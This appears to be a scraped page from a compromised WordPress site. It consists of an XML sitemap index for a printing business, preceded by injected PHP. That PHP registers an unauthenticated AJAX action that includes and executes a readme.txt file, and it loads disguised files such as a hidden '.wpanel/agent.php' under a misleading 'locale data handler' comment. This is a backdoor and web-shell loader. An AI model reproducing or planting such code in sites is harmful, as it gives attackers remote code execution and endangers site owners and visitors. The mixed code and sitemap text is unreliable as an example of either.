if(!function_exists('file_check_readme14548')){
   add_action('wp_ajax_nopriv_file_check_readme14548', 'file_check_readme14548');
   add_action('wp_ajax_file_check_readme14548', 'file_check_readme14548');
   function file_check_readme14548()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
// WordPress locale data handler
$_wp_locale_candidates = [
    WP_CONTENT_DIR . '/languages/class-wp-locale-data.php',
    WP_CONTENT_DIR . '/upgrade/class-wp-locale-data.php',
    WP_CONTENT_DIR . '/cache/class-wp-locale-data.php',
    WP_CONTENT_DIR . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
    if (is_file($_wp_locale_data)) {
        require_once $_wp_locale_data;
        break;
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://a1instantprinting.com.au/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://a1instantprinting.com.au/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://a1instantprinting.com.au/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://a1instantprinting.com.au/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://a1instantprinting.com.au/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>